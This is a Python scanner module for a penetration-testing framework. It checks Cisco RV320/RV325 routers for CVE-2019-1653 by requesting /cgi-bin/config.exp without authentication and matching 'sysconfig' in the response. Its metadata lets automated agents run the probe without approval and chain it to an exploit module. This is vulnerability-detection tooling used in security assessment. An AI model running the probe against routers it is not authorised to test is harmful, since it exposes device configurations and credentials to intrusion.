Cisco Small Business WAN VPN Routers - Sensitive Information Disclosure Detection

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Cisco Small Business RV320 and RV325 Dual Gigabit WAN VPN Routers could allow an unauthenticated remote attack."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Cisco Small Business WAN VPN Routers - Sensitive Information Disclosure Detection',
        'description': 'Cisco Small Business RV320 and RV325 Dual Gigabit WAN VPN Routers could allow an unauthenticated remote attacker to retrieve sensitive information due to improper access controls for URLs. An attacker could exploit this vulnerability by connecting to an affected device via HTTP or HTTPS and requesting specific URLs. A successful exploit could allow the attacker to download the router configuration or detailed diagnostic information.',
        'author': ['KittySploit Team'],
        'severity': 'high',
        'tags': ['web', 'scanner', 'cve', 'cve2019', 'packetstorm', 'kev', 'edb', 'cisco', 'router', 'exposure', 'vkev', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['exploits/linux/http/cisco_rv320_cve_2019_1653_info_disclosure'],
            },
        },
        'references': [
            'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-info',
            'https://www.exploit-db.com/exploits/46262/',
            'https://www.exploit-db.com/exploits/46655/',
            'https://nvd.nist.gov/vuln/detail/CVE-2019-1653',
            'http://packetstormsecurity.com/files/152305/Cisco-RV320-RV325-Unauthenticated-Remote-Code-Execution.html',
        ],
        'cve': 'CVE-2019-1653',
    }

    def run(self):
        r = self.http_request(method="GET", path='/cgi-bin/config.exp', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_any = ('sysconfig',)
        if (any(m in body for m in body_any)):
            self.set_info(
                severity='high',
                reason="Cisco Small Business WAN VPN Routers - Sensitive Information Disclosure detected",
                path='/cgi-bin/config.exp',
            )
            return True
        return False